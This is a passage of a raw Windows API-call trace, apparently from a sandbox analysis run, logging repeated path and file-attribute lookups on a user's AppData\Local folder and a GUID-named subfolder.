lpName="MshEnableTrace", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="") returned 0x0 [0065.564] GetLastError () returned 0xcb [0065.565] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598", nBufferLength=0x105, lpBuffer=0x2ee354, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598", lpFilePart=0x0) returned 0x50 [0065.565] GetLastError () returned 0xcb [0065.565] SetErrorMode (uMode=0x1) returned 0x1 [0065.565] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\d5bfbe52-943a-4f73-97b1-39918fa00598"), fInfoLevelId=0x0, lpFileInformation=0x3632c38 | out: lpFileInformation=0x3632c38*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc58fe50, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0xe58c5f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0xe58c5f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0065.565] GetLastError () returned 0xcb [0065.565] SetErrorMode (uMode=0x1) returned 0x1 [0065.565] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598", nBufferLength=0x105, lpBuffer=0x2ee35c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598", lpFilePart=0x0) returned 0x50 [0065.565] GetLastError () returned 0xcb [0065.565] SetErrorMode (uMode=0x1) returned 0x1 [0065.565] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\d5bfbe52-943a-4f73-97b1-39918fa00598"), fInfoLevelId=0x0, lpFileInformation=0x3632e80 | out: lpFileInformation=0x3632e80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc58fe50, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0xe58c5f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0xe58c5f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0065.565] GetLastError () returned 0xcb [0065.565] SetErrorMode (uMode=0x1) returned 0x1 [0065.569] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="") returned 0x0 [0065.569] GetLastError () returned 0xcb [0065.578] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x2ee420, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0065.578] GetLastError () returned 0xcb [0065.578] SetErrorMode (uMode=0x1) returned 0x1 [0065.578] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz"), fInfoLevelId=0x0, lpFileInformation=0x2ee8a0 | out: lpFileInformation=0x2ee8a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x13d2cfd0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13d2cfd0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0065.578] GetLastError () returned 0xcb [0065.578] SetErrorMode (uMode=0x1) returned 0x1 [0065.578] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x2ee420, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0065.578] GetLastError () returned 0xcb [0065.578] SetErrorMode (uMode=0x1) returned 0x1 [0065.578] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz"), fInfoLevelId=0x0, lpFileInformation=0x2ee8a0 | out: lpFileInformation=0x2ee8a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x13d2cfd0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13d2cfd0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0065.578] GetLastError () returned 0xcb [0065.579] SetErrorMode (uMode=0x1) returned 0x1 [0065.579] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x2ee434, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0065.579] GetLastError () returned 0xcb [0065.579] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\.", nBufferLength=0x105, lpBuffer=0x2ee3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0065.579] GetLastError () returned 0xcb [0065.579] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", nBufferLength=0x105, lpBuffer=0x2ee420, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", lpFilePart=0x0) returned 0x25 [0065.579] GetLastError () returned 0xcb [0065.579] SetErrorMode (uMode=0x1) returned 0x1 [0065.579] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata"), fInfoLevelId=0x0, lpFileInformation=0x2ee8a0 | out: lpFileInformation=0x2ee8a0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0065.579] GetLastError () returned 0xcb [0065.579] SetErrorMode (uMode=0x1) returned 0x1 [0065.579] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", nBufferLength=0x105, lpBuffer=0x2ee420, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", lpFilePart=0x0) returned 0x25 [0065.579] GetLastError () returned 0xcb [0065.579] SetErrorMode (uMode=0x1) returned 0x1 [0065.579] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata"), fInfoLevelId=0x0, lpFileInformation=0x2ee8a0 | out: lpFileInformation=0x2ee8a0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0065.579] GetLastError () returned 0xcb [0065.579] SetErrorMode (uMode=0x1) returned 0x1 [0065.579] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", nBufferLength=0x105, lpBuffer=0x2ee434, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", lpFilePart=0x0) returned 0x25 [0065.579] GetLastError () returned 0xcb [0065.579] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\.", nBufferLength=0x105, lpBuffer=0x2ee3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", lpFilePart=0x0) returned 0x25 [0065.579] GetLastError () returned 0xcb [0065.579] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x2ee420, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", lpFilePart=0x0) returned 0x2b [0065.579] GetLastError () returned 0xcb [0065.580] SetErrorMode (uMode=0x1) returned 0x1 [0065.580] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local"), fInfoLevelId=0x0, lpFileInformation=0x2ee8a0 | out: lpFileInformation=0x2ee8a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe6e3250, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0xe6e3250, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0065.580] GetLastError () returned 0xcb [0065.580] SetErrorMode (uMode=0x1) returned 0x1 [0065.580] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x2ee420, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", lpFilePart=0x0) returned 0x2b [0065.580] GetLastError () returned 0xcb [0065.580] SetErrorMode (uMode=0x1) returned 0x1 [0065.580] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local"), fInfoLevelId=0x0, lpFileInformation=0x2ee8a0 | out: lpFileInformation=0x2ee8a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe6e3250, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0xe6e3250, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0065.580] GetLastError () returned 0xcb [0065.580] SetErrorMode (uMode=0x1) returned 0x1 [0065.580] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x2ee434, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", lpFilePart=0x0) returned 0x2b [0065.580] GetLastError () returned 0xcb [0065.580] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\.", nBufferLength=0x105, lpBuffer=0x2ee3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", lpFilePart=0x0) returned 0x2b [0065.580] GetLastError () returned 0xcb [0065.580] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598", nBufferLength=0x105, lpBuffer=0x2ee420, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598", lpFilePart=0x0) returned 0x50 [0065.580] GetLastError () returned 0xcb [0065.580] SetErrorMode (uMode=0x1) returned 0x1 [0065.580] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\d5bfbe52-943a-4f73-97b1-39918fa00598"), fInfoLevelId=0x0, lpFileInformation=0x2ee8a0 | out: lpFileInformation=0x2ee8a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc58fe50, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0xe58c5f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0xe58c5f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0065.580] GetLastError () returned 0xcb [0065.580] SetErrorMode (uMode=0x1) returned 0x1 [0065.580] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598", nBufferLength=0x105, lpBuffer=0x2ee420, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598", lpFilePart=0x0) returned 0x50 [0065.580] GetLastError () returned 0xcb [0065.580] SetErrorMode (uMode=0x1) returned 0x1 [0065.581] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\d5bfbe52-943a-4f73-97b1-39918fa00598"), fInfoLevelId=0x0, lpFileInformation=0x2ee8a0 | out: lpFileInformation=0x2ee8a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc58fe50, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0xe58c5f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0xe58c5f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0065.581] GetLastError () returned 0xcb [0065.581] SetErrorMode (uMode=0x1) returned 0x1 [0065.581] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598", nBufferLength=0x105, lpBuffer=0x2ee434, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598", lpFilePart=0x0) returned 0x50 [0065.581] GetLastError () returned 0xcb [0065.581] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\.", nBufferLength=0x105, lpBuffer=0x2ee3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598", lpFilePart=0x0) returned 0x50 [0065.581] GetLastError () returned 0xcb [0065.581] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x2ee42c, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0065.581] GetLastError () returned 0xcb [0065.607] SetErrorMode (uMode=0x1) returned 0x1 [0065.607] GetFileAttributesExW (in: lpFileName="C:\\Users" (normalized: "c:\\users"), fInfoLevelId=0x0, lpFileInformation=0x2ee8ac | out: lpFileInformation=0x2ee8ac*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0065.607] GetLastError () returned 0xcb [0065.607] SetErrorMode (uMode=0x1) returned 0x1 [0065.607] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x2ee42c, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0065.607] GetLastError () returned 0xcb [0065.607] SetErrorMode (uMode=0x1) returned 0x1 [0065.607] GetFileAttributesExW (in: lpFileName="C:\\Users" (normalized: "c:\\users"), fInfoLevelId=0x0, lpFileInformation=0x2ee8ac | out: lpFileInformation=0x2ee8ac*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0065.608] GetLastError () returned 0xcb [0065.608] SetErrorMode (uMode=0x1) returned 0x1 [0065.608] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x2ee440, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0065.608] GetLastError () returned 0xcb [0065.608] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x2ee3dc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0065.608] GetLastError () returned 0xcb [0065.608] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x2ee42c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0065.608] GetLastError () returned 0xcb [0065.608] SetErrorMode (uMode=0x1) returned 0x1 [0065.608] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz"), fInfoLevelId=0x0, lpFileInformation=0x2ee8ac | out: lpFileInformation=0x2ee8ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x13d2cfd0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13d2cfd0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0065.608] GetLastError () returned 0xcb [0065.608] SetErrorMode (uMode=0x1) returned 0x1 [0065.608] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x2ee42c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0065.608] GetLastError () returned 0xcb [0065.608] SetErrorMode (uMode=0x1) returned 0x1 [0065.608] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz"), fInfoLevelId=0x0, lpFileInformation=0x2ee8ac | out: lpFileInformation=0x2ee8ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x13d2cfd0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13d2cfd0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0065.608] GetLastError () returned 0xcb [0065.608] SetErrorMode (uMode=0x1) returned 0x1 [0065.608] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x2ee440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0065.608] GetLastError () returned 0xcb [0065.608] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\.", nBufferLength=0x105, lpBuffer=0x2ee3dc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0065.608] GetLastError () returned 0xcb [0065.608] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", nBufferLength=0x105, lpBuffer=0x2ee42c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", lpFilePart=0x0) returned 0x25 [0065.608] GetLastError () returned 0xcb [0065.609] SetErrorMode (uMode=0x1) returned 0x1 [0065.609] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata"), fInfoLevelId=0x0, lpFileInformation=0x2ee8ac | out: lpFileInformation=0x2ee8ac*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0065.609] GetLastError () returned 0xcb [0065.609] SetErrorMode (uMode=0x1) returned 0x1 [0065.609] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", nBufferLength=0x105, lpBuffer=0x2ee42c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", lpFilePart=0x0) returned 0x25 [0065.609] GetLastError () returned 0xcb [0065.609] SetErrorMode (uMode=0x1) returned 0x1 [0065.609] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata"), fInfoLevelId=0x0, lpFileInformation=0x2ee8ac | out: lpFileInformation=0x2ee8ac*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0065.609] GetLastError () returned 0xcb [0065.609] SetErrorMode (uMode=0x1) returned 0x1 [0065.609] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", nBufferLength=0x105, lpBuffer=0x2ee440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", lpFilePart=0x0) returned 0x25 [0065.609] GetLastError () returned 0xcb [0065.609] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\.", nBufferLength=0x105, lpBuffer=0x2ee3dc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", lpFilePart=0x0) returned 0x25 [0065.609] GetLastError () returned 0xcb [0065.609] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x2ee42c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", lpFilePart=0x0) returned 0x2b [0065.609] GetLastError () returned 0xcb [0065.609] SetErrorMode (uMode=0x1) returned 0x1 [0065.609] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local"), fInfoLevelId=0x0, lpFileInformation=0x2ee8ac | out: lpFileInformation=0x2ee8ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe6e3250, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0xe6e3250, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0065.609] GetLastError () returned 0xcb [0065.609] SetErrorMode (uMode=0x1) returned 0x1 [0065.609] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x2ee42c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", lpFilePart=0x0) returned 0x2b [0065.609] GetLastError () returned 0xcb [0065.609] SetErrorMode (uMode=0x1) returned 0x1 [0065.609] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local"), fInfoLevelId=0x0, lpFileInformation=0x2ee8ac | out: lpFileInformation=0x2ee8ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe6e3250, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0xe6e3250, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0065.610] GetLastError () returned 0xcb [0065.610] SetErrorMode (uMode=0x1) returned 0x1 [0065.610] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x2ee440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", lpFilePart=0x0) returned 0x2b [0065.610] GetLastError () returned 0xcb [0065.610] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\.", nBufferLength=0x105, lpBuffer=0x2ee3dc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", lpFilePart=0x0) returned 0x2b [0065.610] GetLastError () returned 0xcb [0065.610] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598", nBufferLength=0x105, lpBuffer=0x2ee42c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598", lpFilePart=0x0) returned 0x50 [0065.610] GetLastError () returned 0xcb [0065.610] SetErrorMode (uMode=0x1) returned 0x1 [0065.610] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\d5bfbe52-943a-4f73-97b1-39918fa00598"), fInfoLevelId=0x0, lpFileInformation=0x2ee8ac | out: lpFileInformation=0x2ee8ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc58fe50, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0xe58c5f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0xe58c5f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0065.610] GetLastError () returned 0xcb [0065.610] SetErrorMode (uMode=0x1) returned 0x1 [0065.610] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598", nBufferLength=0x105, lpBuffer=0x2ee42c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598", lpFilePart=0x0) returned 0x50 [0065.610] GetLastError () returned 0xcb [0065.610] SetErrorMode (uMode=0x1) returned 0x1 [0065.610] 